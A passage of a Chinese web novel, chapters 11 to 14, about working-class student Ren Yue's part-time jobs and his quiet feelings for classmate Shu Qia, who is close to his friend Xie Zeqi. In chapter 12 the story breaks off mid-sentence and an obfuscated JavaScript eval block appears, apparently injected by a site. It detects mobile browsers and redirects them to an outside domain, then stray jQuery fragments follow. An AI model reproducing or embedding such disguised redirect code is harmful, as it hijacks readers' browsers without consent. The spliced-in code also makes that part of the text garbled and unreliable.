舒洽问了一嘴,任樾不知道舒洽的思维怎么这么跳跃,但小卖部挨着学校,确实有这个东西,他点头,下一秒,舒洽兴奋道,“我真的很想去,带我去看看吧。” 不远处的树上传来鸟叫,在寂静的巷子里,拨走死寂带来生机。 任樾听见自己的声音从喉咙中升起然后声音在空气中传播。 “嗯。” 他答应了。 11. 请你的 舒洽听见任樾答应下来,眉眼弯弯,想到了什么,问道,“你打工的地方路脏吗?” 她指了指身后,带着心有余悸,不愿意再回忆,“不会是是刚才见到的那种吧?” 任樾摇头,沉声回道。 “没。” 舒洽松了一口气,拍手兴奋道,“走吧。” 任樾走着,方向是小路的左边,窄窄的,两个人倒是绰绰有余挤得下。路虽然破破烂烂但是好在干燥,没肆意乱漏的污水。 舒洽赶紧跟上任樾的步子,两个人左拐右拐走着,舒洽只觉得是在迷宫里面乱窜,但是任樾却习以为常,她不禁发问,“到了吗?” “到了。” 任樾在走过下一个巷口拐角的时候,喊住舒洽,舒洽停住,打量着这条属于宏光中学的商业街,到处都是门店。 任樾指了指一个门店,上面的招牌写着“宏光中学小卖部”,周边的门店也都带着“宏光中学”这些字样。“早餐店”“水果店”……一堆乱七八糟的门店,现在是放假时间,这些店都关着门。 “这里就是我打工的地方。” 任樾看着舒洽,舒洽脚步上前,仰着头,“哇”了一声,“这家店还要你来打工?小卖部这么富的吗?” 在她印象里面,这种开在学校旁边的小卖部都是由老板一人着手管理的,基本没听过会找学生兼职的老板。 任樾顿了顿,当然不是因为老板很有钱,只不过是老板心善。老板家里有个正在上初二的学生,任樾给他当家教,充当全科老师,什么科目都教。 老板看任樾好用又便宜,质量也很高,一开心就给他安排了这个工作,一天给两百块。家教的钱另外结,这个算是额外的收入来源。 “就是简单的照看一下。” 任樾上前将卷帘门打开,力气也许有些大,“哐当——”,卷帘门咻得划上去,小卖部出现。 小卖部的东西琳琅满目,舒洽猛地窜进去开始好奇打量,东西是真的多,各种零食,还有花里胡哨的本子和笔……任樾也跟着进去,打开柜台旁边的门,摸出一包手帕纸,是心心相印的牌子。 他开口,喊着舒洽的名字,舒洽回头,任樾抬手,对着不远处的舒洽说着,“纸巾,你擦擦脸吧。” 舒洽正在辣条零食区拿起一包“花千骨”的辣条,看着保质期,这个东西她已经很久没有见到过了。她记得还蛮好吃的。 听见自己的名字,闻言凑过来,问了一嘴,“没有湿纸巾吗?” “没。” 任樾好脾气背身,拿着后面展览柜上的矿泉水,自己将纸巾拆开,然后认真低下头将矿泉水倒在纸巾上,等到将纸巾打湿后,递给舒洽。 “擦擦吧。现在是湿纸巾了。” 舒洽对上任樾的眼睛,歪了歪头,看不出来任樾眼里的情绪。 她察觉不出任樾想的是什么。 “你帮我擦吧,刚才我把塑料袋取下扔进垃圾桶了。”舒洽理直气壮吩咐道。 塑料袋缠着舒洽的鞋子,其实舒洽自己也觉得不舒服。 舒洽踮起脚,将脸凑向任樾的所在方向,很认真回视任樾的眼睛,她倒是坦然,没有半分别捏。 这个角度她可以看见自己的身影倒映在任樾的眼底。 舒洽是从下方仰视任樾的。 这样可以看见任樾的黑眸,还有被隐藏在长发下的五官,她第一次以这个角度看任樾。 在学校的任樾有一种很沉默的气质。 总说眼睛是心灵的窗户,但舒洽倒是看不出任樾的心灵是什么,只单纯觉得任樾的眼睛还挺好看的。 眼型很漂亮。 虽然是单眼皮,但是薄而狭长,透着一股冷清而又生疏的味道。睫毛很长,像是一把小扇。 舒洽热烈地注视着任樾,像是发现新大陆。 任樾的五官底子都很好,唇很薄,鼻梁高挺,五官有流畅的起伏,很立体的一张脸,组合到一起就是很优越很惊艳的线条。 只不过,任樾总是低着头,本来对他的印象就不深,又被头发挡住,一般都没人注意到这个沧海遗珠。 “任樾,你还挺帅的。你头发可以剪一些,然后别老是低着头。”她提出自己的建议。 任樾扯了扯嘴角,对于舒洽的真诚夸赞没回应,也没说话,只是抬手将纸巾擦过舒洽的眼睛下方,还有脸颊两边。 他的力度不大,很轻。 冰冰凉凉的触感让舒洽颤了颤睫毛。 公主的脸很白,而且很细腻。 任樾擦完之外之后将脏的纸巾扔到垃圾桶只有这一个想法。 舒洽将手机拿出扫二维码,“嘀”的一声,她抬手漫不经心问道,“多少钱啊?” 任樾正在收拾东西,慢慢将柜台上面的东西按照排列顺序整理好。 他很认真工作,加上今天任樾穿的是自己的常服,不是蓝白校服,简单的黑T,整个人都透着一股随意。刚才一进门就将外套随意摆在椅子上,露出精瘦有力的小臂,手骨节分明,垂眸收拾卡盒。 不知道处于什么心理,舒洽忍不住切相机偷拍了任樾低头摆卡盒的照片。 任樾浑然不觉,听见舒洽的问题,本想说不要钱,但余光扫到舒洽手机,瞧见背后的logo,淡淡地笑了笑,将不要钱咽下去,只说道,“两块。” 舒洽拿着矿泉水,疑惑,“我记得光农夫山泉就是两块啊。” 任樾不是还开了一包纸巾吗? 任樾再一次说道,很确定,“就是两元。” 那包纸巾,算他买给舒洽的。 舒洽“哦”了一声不在多说,她随意坐在椅子上。 “任樾,你打工累吗?” “还好。” “任樾,那你周末岂不是没有自己的时间去玩?” “不需要。” “任樾,你真应该去争取奖学金。” “嗯。” 和任樾的对话很无聊,舒洽问一句,任樾回一句,不愿意多讲一句话,她将注意力放在和谢泽栖的聊天框上。 “我快到了,还有五分钟!” “嗯,我在这里。”附定位。 “这里啊,你上前走几步,我在宏光中学外面等你。”谢泽栖只是看了一眼,就知道舒洽的具体位置。 显然不陌生,甚至还了如指掌。 舒洽坐着头也不抬喊了一句“任樾”,任樾没有停下手里的动作。 愤怒上头,觉得被无视的舒洽板着脸恶狠狠地找他要一个塑料袋。 接过塑料袋之后舒洽选了几包辣条让任樾算账。 “八块五。” 惊叹小卖部物价的便宜,舒洽扫过去之后,转身看到了冰箱里 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谢泽栖的目光落到舒洽身上,第一眼满是惊艳,“你今天漂亮啊。” 舒洽蹦蹦跳跳走到谢泽栖面前,她已经习惯了谢泽栖的赞美,但还是骄矜仰头,转了一个圈,裙摆轻盈的弧度。 “你怎么进来了?不是说好了在外面见面嘛?” “想早点见到你,我就进来了。” 谢泽栖看了她手下的袋子,很自然的接过,拿到他的手上。 “你怎么来这里了?” 他和舒洽并肩走着。 “迷路了,哎呀好烦啊。你别问了,我们出去等会去哪里玩?”舒洽不愿意多说,也不想回忆起一堆丢脸的记忆,谢泽栖只好顺着她,“好的,新街新开了一家游戏城,我们去那里玩好不好?我给你抓很多娃娃。” “谢泽栖,蹲下。” 舒洽没回答,却突然命令出声,谢泽栖没有多嘴,麻溜干脆地蹲下,她一下扑到了谢泽栖的后背上。 谢泽栖稳稳当当接住舒洽,然后起身,他托着舒洽,防止舒洽掉下去,手上还勾着舒洽刚才买的一堆破烂货。 "脚疼吗?等会我带你去买双新鞋穿。" 谢泽栖站起身,往巷子外面方向走,扭头想关心舒洽。 “没,想让你背。不愿意啊?” 舒洽哼了一声,拧着谢泽栖的耳朵威胁到。 “很愿意。” “这还差不多。” …… 也许是靠近中学,环境好起来,巷子上爬满了绿色的爬山虎,绿意盎然,生机勃勃,有的地方甚至绿的发深。 任樾出了小卖部本想给舒洽指路,瞧见谢泽栖来了之后二人亲密无间的相处日常。 原来舒洽在谢泽栖身边笑的这么开心,这么自由。 还好刚才没和舒洽说再见。 谢泽栖也很熟悉这里,可以到舒洽离开。任樾卸下了心思,重新回到卷帘门之内。 柜台上的旺仔牛奶水雾弥漫起来,然后在任樾的注视下旺仔眼底下水汽缓缓流下去,乍一看像是旺仔笑着哭 任樾慢条斯理拿纸巾擦拭着。 很快,旺仔干净如初,什么都没有发生。 12. 做了一个梦 晚上十二点,很多人都已经进入深度睡眠,但是“大西最牛江湖菜”的招牌却是亮着,五颜六色的霓虹灯驱散黑夜。 对于这个宵夜店来说,夜生活才刚开始。 店里坐满了人,到处都客人对瓶吹,喝酒的喝酒,吃菜的吃菜,一派热闹之情,老板在店外面摆放着大圆桌,点菜的加菜的高声喊着服务员的结账的…… 忙的不可开交,后厨那口大锅没有停过,服务员也是忙的脚不沾地。 任樾正在收拾上一桌客人留下的狼藉。 先将碗盘里面的残渣倒进垃圾桶,然后熟练叠起来扔进门口的回收箱子,等第二天被回收消毒再拿来用。桌布一扯,扔进不远处的大垃圾桶,然后弯着腰开始擦拭桌子,确保上面的油渍没有那么大的明显痕迹。 新来了客人,他要招呼,要拉客,等到客人被招揽后他再将菜单拿给他们,笑着介绍主打款。将选好的菜单拿给老板娘,让老板娘记下菜品送到后厨去。 这家店不只是江湖菜,烤鱼小龙虾烧烤也有,属于是宵夜大杂烩。 价格便宜,味道又能打,在这片出了名的口碑,每天的生意都很好。下午五点之后才开门,一直到晚上三点才关门。剩下的时候,老板都在新街买的房子那里休息。 “任樾。” 今天是周六,生意更是好的不行,就算现在是十二点,生意也是好的不行,热火朝天。 老板娘喊着任樾的名字,任樾将新桌布铺上,然后走到老板娘面前低着头,“琼姐,怎么了?” 老板娘拿着打包盒递给他,扫了一眼任樾,说道,“这家客人在新街上御澜那里,河对面,你送去。” 店里的生意还承包外卖,仅限于住的很近的住户,但是老板舍不得外卖员,而是选择让店里面的员工去送餐。 任樾接过,老板娘将地址发过来,让任樾拿着手机去,不然等会送错了。 新来的那个服务员还不熟悉位置,任樾去送过,知道位置。 打包盒装着的是小龙虾,宵夜店的小龙虾是九十九三斤,价格算是便宜,也是现杀,但是分量说是三斤,实际上最多一斤多点,老板会悄悄缺斤少两,多加黄瓜等等,反正顾客也不知道,就算有意见,也解释是因为素菜太多的缘故,炸的龙虾会缩水等等。 只有外卖稍微收敛一点。所以会比平常上菜的分量重一点。 到达御澜需要经过一条河。 走在桥上,任樾端着打包盒听着下面的流水声,看着尽头御澜的灯火。 周围一个人也没有,黑漆漆的,小龙虾的重量不轻,冒着热气,他突然想到冒出一个古怪的想法,如果自己跳下去会怎么样呢? 但也只是想想。 任樾否定这个问题,他给不出答案。 进入小区需要登记扫脸,任樾其实也没有来几次,但是每次都对于这里这么严密的安保表示羡慕。 他曾经听过老板说过,这里的房子很贵,是高档小区,三室一厅九十多平就要五百万左右。 任樾送到客人手上的时候,是一个女客人。很年轻。 看着他的脸,突然来了一句,“你还真是懂事啊,这么小就给家里人干活。” 这是把他当成老板的孩子了。 怕客人误会太深,任樾解释,“我是打工的。算是兼职吧。” 客人意外,“抱歉,你是辍学了?” 任樾摇头,简单概括。 “补贴家用。” 客人鼓励道,“那你就好好学习,争取以后不要这么辛苦了。” 任樾道了谢,回到宵夜店的时候,一些客人已经离开,稍微轻松一点,不需要急切地连轴转,老板看着他,递上刚烤的苕皮,“辛苦了。” 老板娘也走过,询问,“等会吃饭啊,要吃什么?今晚挺累的。” 任樾拿着苕皮,“琼姐,你决定吧。” 老板娘大手一挥,定下了今晚的晚饭。 “那就吃泡椒烤鱼吧。” 等到吃饭的时候,任樾的手机收到消息,来自舒洽。 舒洽的头像是一只简笔的库洛米,粉色的背景下,库洛米站在滑板上笑着。 舒洽:“作业呢?” 舒洽:“任樾,你是不是骗我?” 舒洽:“你完了。” 任樾给舒洽的备注是来自微信班群的“舒洽”,不知怎的,任樾鬼使神差的伸手改了备注。 他改成了“舒公主”。 要不是舒洽提起来,现在要债,任樾都已经忘记自己答应——要给她看答案这件事了。 任樾打字,“等会,现在在打工,回家拍给你。” 舒公主:“你现在还在打工?!小卖部要开到这么晚?我不信。” 忽略现在任樾在宵夜店打工的话,舒洽这个话确实有道理,甚至是无懈可击。 舒洽那边已经开始连环轰炸了。 “敢骗我?!” “任樾,我不会放过你的。” “任樾,你这个骗子!” 附赠n多表情包,舒洽显然是以为自己被任樾戏耍后发怒。 但是,任樾身上不止一份工作。 “我在另外一个店打工。” 舒公主:“不信,拍照看看。” 任樾看到舒洽的消息,打开相机,拍了拍自己的照片,没露脸,可以看见喉结这个大概位置,然后也顺便将宵夜店的围裙也拍了下来,发过去。 舒公主:?你像素好差劲,等会拍答案的时候好好拍。 舒公主:好好工作吧,别摸鱼了,等会老板扣你钱。 任樾抿唇,“我不会被扣钱的,因为是休息时间。” 舒洽那边直接发了一条语音,时间是七秒。 刚好大师傅将最后一个菜端上桌,老板招呼着大家吃饭,任樾放下手机没有来得及听。 在饭桌上,老板娘开玩笑,“你刚才看手机笑的那么开心,是看到了什么好玩的视频嘛?” 任樾愣了一下,心也在这瞬间狂跳,面上却不显,只是谨慎确认道,“我刚才笑了吗?” 老板娘打趣道,“对啊,笑的都不像你了。”她补充了一句,“你这孩子平时不要老是闷着一张脸,笑会多好啊。” 任樾夹了一根青菜,垂眸遮住情绪。 “刚才有个视频确实好笑,可能我自己也没注意到自己笑了。” 他听见自己这样自欺欺人。 老板给他倒酒,“走一杯,任樾,今天辛苦了。” 任樾摆手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425010|153673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝着。 老板招呼极力劝任樾,旁边的大师傅也举着酒杯,笑呵呵地准备加入,老板娘将任樾杯子里的酒倒掉,给任樾换了一瓶唯怡,扭头怒喷老板和大师傅。 “你两是发癫了?任樾喝不了酒都忘了?!” 任樾其实可以喝酒,甚至酒量很好。 但是他对外宣称一杯倒喝不了。 任樾和老板娘说着谢谢,老板娘却毫不在意挥挥手,反而关心道。 “这算啥,你今天有没有累着啊?” 其实累到了,先不说脚高强度走着打转似针扎密密麻麻疼蔓延如潮水涌开,而且还要端炭火滚烫挨近就灼热难挡的烤鱼烤盘…… 周内都在学校读书写作业,周末出来干活,有点吃力,但是这样辛苦的日子任樾已经习以为常。 他从初三毕业那个六月就开始这样生活了。 习惯是一回事,身体和精神觉得累又是另外一回事。 整箱整箱地搬酒,垃圾油污黏腻脏人,偶尔还有客户不耐烦拍打……任樾的手平放着都有点发抖,他笑着,只是平静回了句,“没。” 老板娘和任樾聊着,“你还是好好学习,你知道今天送餐那个不?人家就是成绩好,当着设计师,你看生活多好啊。” 任樾点头,旁边的老板看不下去了,“人家家里也有钱帮扶,光读书好有个屁用!读书好没钱算白说。任樾这孩子老实,他自己心里有数,你说多了算些啥。来,走一杯。” 老板娘和老板拼酒,难得放松。 任樾的目光落到手机上,周边都是喧嚣,全然热闹,他独自静默似往常般头低着沉默吃菜,只是那一颗心却下坠着,拿筷子的手也不由自主攥紧泛白。 —— 任樾回到家已经是半夜两点了。 用钥匙打开门,看了一眼左边房间,门没关但从外往里看一片黑,就知道谢长敏已经睡去。 任樾尽量放轻动作,不打扰谢长敏。他将在店里剩下的牛肉打包带回家放在冰箱准备当做明天的饭菜。 老板娘知道他家困难,特意留的。 简单洗了个澡之后,任樾举着毛巾边走边擦拭头发到了自己的房间。 他没有用吹风机,怕吵到谢长敏。 房间很小,不足十平米,放了一张床,还有一个小柜子放着任樾的衣物。 几个纸箱堆在角落,里面全是书,上面摆放了一块平滑的木板子充当书桌。 空间很小,但整洁且井井有条。 任樾打开台灯,将作业一一拍照然后传给舒洽。 他现在才有时间点开舒洽的语音听。 舒洽的声音带着困意,不像白天那样活力十足,反而任樾听起来是软软的,像是含着霜糖般黏黏糊糊。 “好的,那你加油努力做优秀员工拿奖金。作业你回家发我吧,我先睡了。晚安任樾。” 任樾在灯光下反复点开这句话,他的影子被投放一遍又一遍重复着这个动作。 过了很久,久到台灯灯光变得暗淡,处于缺电状态,他才将作业慢条斯理放回床头的黑色书包里。 任樾将台灯和手机都充电后才躺下,波澜无惊般阖眼睡去。 往常无梦睡眠质量很好的他破天荒做了一个梦。 13. 朋友圈 天边才露出鱼肚白,晨光乍泄洒出漫天金光像是打上鎏金金边。 新的一天开启了。 任樾猛地睁眼,他喘了一口气,像是将压力吐出一般。黑发贴着他的额间,薄汗涔涔,身上不透气浑身上下带着黏腻。 想到昨天梦到了什么,任樾带着恍神和难堪,眼底皆是化不开的阴郁和烦躁。 他靠着床半坐露出没穿睡衣的上半身。少年身材硬朗,劲瘦有力,身体线条流畅像是西方的雕塑作品。 任樾蹙眉闭眼,想揉一揉自己的眉心,脑子里面全是昨天晚上荒唐的梦,旖旎又涩情。他骂了一句脏话,索性直接起身去厕所冲了一个冷水澡。 扯开床单扔进洗衣台上,打开水龙头放水倒洗衣粉进去,然后上手开始搓起来。 将床单洗好之后,他拧干净放在盆子里。家里空间太小,他等会要将这一套挂在外面的共用晾衣处。 谢长敏听见动静,走过来问了一句,“被套不是前天才换的吗??” 任樾面不改色,“昨天回来发现笔坏了,爆墨弄脏了床单。” 谢长敏“哦”了一声,瞧见任樾无事发生的模样,也没再多说什么,转身离开去了厨房准备早饭。 任樾打量着洗衣台里面的水,要装进旁边的塑料桶里面,可以留着冲厕所,他拿着勺舀着水,桶渐渐满起来,到后面,水声缓起来,发出“哗哗”的声音,舒洽拨动面盆里面的水,她刚才放水洗脸,一时玩心突发,就像是玩水一样搅拌着水。 似乎也觉得无聊,舒洽抬眼了一眼镜子。 镜子里面的她一副才睡醒的懒散,脸上倒是没有冒痘,但是有圈淡淡的黑眼圈。 舒洽慢悠悠抬手打了一个哈欠。 “小乖,出来吃饭。”舒少帘在客厅端着菜喊舒洽,舒洽应了一声跑出去,头上的束发带都没取下来。 李恒柏打趣,“小乖,这个束发带没有上次的好看。” 舒洽之前的束发带款式是皮卡丘,现在这个是昨天去天新街才买的玉桂狗的款式。 舒洽端着饭,夹了一口牛肉塞进嘴里。 “哎呀,这个更好点,爸爸你根本不懂。” 李恒柏还没说话,舒少帘想到什么,零帧起手,“你爸爸当然不懂你这些花花绕绕,你老师反应你最近学习不认真是吧?” 舒洽顿了一下,抬头很真诚和舒少帘对视,“我不是一直认真吗?” 舒少帘作为一名光荣的语文小学人民教师,瞧见自己的女儿这幅无赖相彻底怒了,“你上次上上次都是怎么和我说的?” 李恒柏瞧见舒洽要顶嘴的模样,将舒少帘和舒洽隔开,替舒洽说话,“她学习成绩不好舒老师你不是一直知道吗?” 舒洽点头,淡定吃菜,“妈妈,你老是不接受现实。” 舒少帘不想在饭桌上多教育舒洽,她对舒洽一向宽容。 但是周末也就这个时候可以和舒洽见面了,要么就是在睡觉,要么就是出去玩。 舒少帘开口道,“你爸爸年终那个奖金挺多的,你不是想要买那个八万多的包吗?你高三上期末成绩考到全班前五给你买。” 现在舒洽年纪是高二下,成绩昨天她和班主任打听了,在班上排名四十三。半年的时间,让舒洽自己抓住这个机会。 舒洽愣了一下,意识到舒少帘说了什么后眼睛亮晶晶看着舒少帘,语气轻快不少像是轻快的小雀。 她知道舒少帘不随意承诺,只是想再一次确定,“真的啊?” 舒少帘一直不赞同她买那个包,觉得她一个学生拿着太张扬了。 现在难得松口,舒洽扭头看向李恒柏。 李恒柏也没有反应过来,他的奖金就这样被支配了。 舒少帘没和他打商量,但是这件事情他没意见,“嗯,你就努努力,靠自己拿到那个包。” 舒洽欢呼一声,饭也没心情吃了,只是跳起来凑近舒少帘,给她谄媚地捏肩膀,拍马屁,“舒老师真是英明神武,体恤下属啊,您放心,我一定完成这个艰巨的项目。” 舒少帘闭眼享受着舒洽的狗腿子时间,李恒柏不满咳嗽,舒洽给舒少帘按了一会,又挪到李恒柏旁边,给李恒柏太阳穴揉着,小嘴也是叭叭不停,“哎呀,谁的爸爸这么好啊?出钱给女儿买包?真是天底下最好的爸爸。” 李恒柏大手一挥,“去把我手机拿来。” 舒洽屁颠屁颠去沙发上拿过来,恭敬举过头顶,“父皇,您的手机。” 李恒柏心情大好,转了一个“6666”过去,舒洽也心情大好,凑过去夸奖不要钱似的冒出来,夸的李恒柏又转了“888”到舒洽手里。 舒少帘撇了一眼这对父女的互动,没有开口说什么,也笑了笑,一时间,舒家气氛好的不行。 下午,舒洽趴在自己床上,举着手机,旁边是散乱的作业,她翻了翻面前的练习册,和手机的图片放大确认比对,任樾发的答案确实蛮清晰的,甚至还贴心备注了哪个图片是什么作业。 舒洽抄着作业,虽然说了要考到第五名,但是时间还早,还有半年时间,不必着急,先把要到的作业答案先抄了。 有答案,舒洽自己写的很快,等她解决完之后,一看手机时间还早,才四点多。她成就感满满将写满了的作业拍照发朋友圈。 等她将作业收拾好装进书包后,再看朋友圈,发现已经很多人点赞评论了。 【孟弦意10.23】:?把号还给舒洽。 【卫雨3.4】:做的好快啊,太厉害了。 【老严(高中班主任)】:【笑脸】 【小谢笨蛋】:小乖好厉害!【玫瑰】【玫瑰】【玫瑰】 …… 舒洽挨个回消息,她的社交圈一贯可以,每次朋友圈出来都会有很多人评论,舒洽回消息也是回的起劲。 她想到什么,看了一眼点赞评论的人里面居然没有任樾。 她点进任樾的头像,发现朋友圈一片空白。 "—— ——" 嗯?! 任樾把她屏蔽了?! 舒洽立马给任樾发消息,“你朋友圈把我屏蔽了?!我都没把你屏蔽。” 对面那边没回消息。< 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谢泽栖已经拿下p城,喊着舒洽过去捡物资。 任樾:我真的没有屏蔽你的,我不发朋友圈的。 舒洽倒打一耙,反而理气直壮甩锅。 “谁喊你没说清楚的,你现在去发个朋友圈,和我道歉。这样我下次就知道你有没有屏蔽我了。” 舒洽和谢泽栖玩游戏会开麦,舒洽给任樾发消息的是语音,谢泽栖一直注意着舒洽这边的动静听见舒洽说的话,好奇问了一句,“谁啊?惹我们小乖生气,还要发朋友圈啊?” 舒洽简单说了一句,轻飘飘说道。 “朋友。” 然后催着谢泽栖来接她去p城她要去乱杀。 “好勒,司机这就来接公主。” 舒洽不多说,显然不是多重要的朋友。 谢泽栖提高声音,麻溜开了一个三蹦子去接厕所的舒洽。 任樾点开舒洽的语音,听了一遍后,得知舒洽想要他在朋友圈道歉。 这是不可能的,任樾气笑了,将手机放在一旁,不再回复舒洽。 等到晚上,谢泽栖刷朋友圈的时候,刷到了任樾的朋友圈。 他开始只点个赞,打算匆匆划过,但是扫了一眼头像和备注,这才确定是自己的好哥们。 任樾不是不发朋友圈吗? 谢泽栖这才停下来看这个朋友圈。 任樾的文案是,“真的没屏蔽你,我道歉。” 下面的是两张截图。 一张是朋友圈空白照片,一张是聊天记录。 任樾裁剪了照片,没有露出聊天对象的备注,只有两个人的头像。谢泽栖反复放大死死盯着手机。 那个粉色的库洛米头像谢泽栖比谁都熟悉。 这是舒洽的头像。 下一秒,他的朋友圈上面多了一个消息。 谢泽栖点进去一看,原来是舒洽也给这条朋友圈点了赞的提示。 14. 家长会 五分钟前。 董圆给舒洽发了一张截图。 【董圆9.4】:?小姐姐,这个头像就是你吧。你和任樾好到这么地步了? 舒洽点进去一看,发现是任樾的朋友圈截图。 看到任樾发的东西,舒洽眉毛一挑,她也没有想到任樾真发。因为她随口一说的,没想到任樾当了真。 真的挺老实的。挺呆的。 舒洽脑中缓缓冒出这想法。 她给董圆大概说了事情的起因经过结果,董圆沉默了一会,没话可说,只得扣个“6”。 舒洽也摸不着头脑,私聊任樾。 “喊你发你真的发啊?” 任樾那边回消息倒是快了,秒回。 “怎么了?不对吗?要再发一次吗?” 舒洽想了想,“其实我今天下午是开玩笑的,你要删掉也没关系,留着也看你自己。你朋友圈看得人多吗?” 任樾那边一直显示正在“对方正在输入中”,舒洽看了起码一分钟,任樾才回消息,“人不多,没事,我留着吧。” 任樾显然是在组织词语,这么有距离感。她知道任樾没几个朋友,平常看着也不是很擅长交际的摸样,这么谨慎认真,是不是和她关系好点? 舒洽诡异的同情心泛起,虽然平常她很会打蛇上棍,但是遇到真的软柿子偶尔也会心软。 舒洽也斟酌词汇。 “好。那我们现在也算朋友了。” “任樾,以后我罩着你。” 任樾那边回了一句。 “好。” 谢泽栖询问舒洽的时候,舒洽将截图给他看,还指责谢泽栖不关心朋友,谢泽栖看着两个人的聊天记录,觉得任樾真的被舒洽期欺负的死死的,但是谢泽栖又不可能指着舒洽不要欺负兄弟。 他重色轻友抉择下,给任樾转了一百块。 “兄弟,你受累了。” 任樾回了一个“?”,他补充,“你发什么疯?” 谢泽栖没解释,只是让任樾收下,然后屁颠缠着舒洽去了。 任樾点了“退还”。 *** 舒洽为了那个包也是真的努力起来,学习上进。 每天收着心上课,作业也是自己做,不会的题选择问任樾,不同于以前的浑水摸鱼,舒洽是真的下了狠劲的。 其实舒洽这么下狠劲,也不只是为了包,还有一个原因是真的要到高三了,要高考了。 舒洽是要为自己的前途而走。 不可能真的考一个很差劲的学校吧? 谢泽栖成绩很好,将来肯定也是要去好学校的。 谢泽栖自己也说了,他要考南大。南大作为985,舒洽分数再加个三百也够不上。 她现在的分数就是普通三本,一个民办本科的分数线,不说和谢泽栖一个学校,她连谢泽栖隔壁的财经学院都考不上。 舒洽每天憋着一股劲,任樾都看在眼里。 因为把任樾当做自己人了,舒洽问起任樾问题也是毫不手软,还会给任樾带东西什么的。 两个人关系倒是真的好了很多,亲近都不为过。 任樾讲题清晰,简洁明了,甚至还可以划考试范围。 第二次月考的时候,任樾带着舒洽一起复习,给舒洽押题。 舒洽还以为任樾随意划的,但是既然说了,那她就复习吧。 考试真的考到了,舒洽在考场上奋笔疾书,写的飞快。成绩下来,舒洽考到了班上二十八名的好成绩。 严润格特意在班会上表扬了舒洽的进步大,舒洽的努力他都看在眼里的。 舒洽骄傲抬起头,站起来的时候悄悄冲任樾眨了一下眼睛,像是只属于两个人的暗号,任樾笑了笑。班上的同学都鼓起掌,任樾也跟着鼓掌。 舒洽坐下,和任樾说着小话,“我的这份荣誉有你一份功劳。爱卿,朕给你鼓掌。”舒洽侧着身子,双手轻声给任樾鼓掌,眉眼含笑,旁边的刘海落下,显得有几分随意,“也顺道恭喜爱卿蝉联十三班第一名。” 说完之后,从抽屉里面拿出一盒大白兔奶糖,递给任樾。 任樾这次又是第一名,是在舒洽之前站起来受到表扬的,但是舒洽觉得那个不够特殊,这是她作为天子单独赐予爱卿的奖赏。 任樾没想到舒洽还专门准备了礼物给他。 他喉结滚了滚,收回目光。 她一下课就和卫雨几个人兴奋聊着,兴奋到了下午。 谢泽栖在门外找舒洽,舒洽很兴奋和得意地和谢泽栖吹嘘着,谢泽栖眼睛里只看下舒洽,嘴里也是连连迎合,不断夸着舒洽。 两个人的氛围插不下第二个人。 任樾路过,和谢泽栖点头打个招呼就进教室坐下来。 他看着书,字却怎么样都没看下去,铅字都缥缈无边,仿佛都变了样。 任樾摸了一个大白兔奶糖塞进嘴里,不选择看书,换了一个路子认真写着作业。 *** 舒洽在中期考试前和任樾打着商量,“我要去和卫雨坐在一起哦,因为我答应了她的。” 任樾的成绩比卫雨好,舒洽怕两个朋友为了自己打起来,和任樾解释,“上次分位置之前说好了的。” 任樾写作业的手顿了顿,抬头,他现在在舒洽这里没有什么沉默冷淡滤镜,舒洽等任樾回复。 他没说话。 舒洽就当任樾同意了,安慰拍了拍任樾的肩膀道,“没事,反正不影响我两感情对不对?我们还是朋友。” 任樾目光落到舒洽的手上,半天才挪开视线应了一声“好”。 等期中考试一过,成绩一出来,卫雨和舒洽两个人重新当回了同桌。 老严这次没管。他认为以现在舒洽的认真,肯定不会出问题的。事实证明,舒洽也确实收起心来学习了。 任樾这次的新同桌是一个男生,叫何其。性格很开朗,成绩倒是不好,很爱说话。 舒洽和任樾一个位置在前,一个在教室后,平时根本没有什么关联。 舒洽没有主动来找过任樾,她现在和卫雨坐在一起,有事也找不到任樾,而且孟弦意几个也坐在周围,没什么好麻烦任樾的。 高中的日子过得枯燥又乏味,时间如流水慢慢逝去。夏天走了,秋天来了,一眨眼就是冬天。 舒洽和谢泽栖越来越亲密。 谢泽栖性子张扬炫耀,藏不住事,爱发点朋友圈。 大多数朋友圈里面都有舒洽的身影。 任樾每次刷到谢泽栖的朋友圈都会点赞。 就这样学着考着累着,不知不觉几个月一过竟然走到了百日誓师。 已经是高三了,频繁换位置也影响学习,严润格索性直接取消了换位置,十三班的格局就此定下。 高三一到,任樾的成绩突飞猛进,也不知道是不是后期发力了,直接坐到了年纪第一的宝座,大考小考月考测试一次没掉过。 身为平行班的后起之秀,任樾给严润格挣足了面子,严润格笑的不行。 任樾的头发剪了很多,露出眉眼,加上不再爱低着头,高三年纪第一含金量太高,到了高三任樾终于被注意到。 这个时候十三班的同学才猛然发现,平常不声不响的任樾居然长得很帅。 长得高,成绩好,而且是个大帅哥,任樾的抽屉里多了一些东西,零食小玩意甚至还有情书。 因为学校的排行榜要拍照片,任樾的照片引起了不小范围的震动。 大家都在感慨,这个叫任樾的沧海遗珠是从哪里冒出来的? 何其羡慕看任樾,透露着,“任樾,刚才又有高一的来给你送情书了。” 现在是第二节课下课,外面在下雨,不可以做操,大家都在趁这个时候放松着。 任樾和何其的位置在后门,高一的学妹也趁着这个机会拜托何其将情书放进任樾抽屉里。 任樾波澜无惊看了一眼抽屉,果不其然,发现里面又有新的薯片还有两个信封。 他将薯片和信封全部给了何其,然后坐下翻看才发下来的试卷做了起来。见到他这幅样子何其就知道任樾要他看着办。 扔了或者还回去都行。 “对了,老严喊你去干嘛?”何其将情书扔进垃圾桶,拆开乐事拿了一片塞嘴里询问着任樾。 任樾刚要回答,就被后背突如其来的力道撞了一下。力道很大,很突然——有人从走廊到后门在打闹,然后撞到了他。 任樾的手不受控制地在试卷上划了一个很大的笔痕。他抿唇不悦,脸沉了下来。 打闹的气氛戛然而止,坠落冰点。 何其悄悄扫了一眼,知道任樾是生气了。 步入高三,任樾的情绪比高二来的多。 任樾还没有来得及开口,撞他的人先一步就道歉。 “对不起,你没事吧,任樾?” 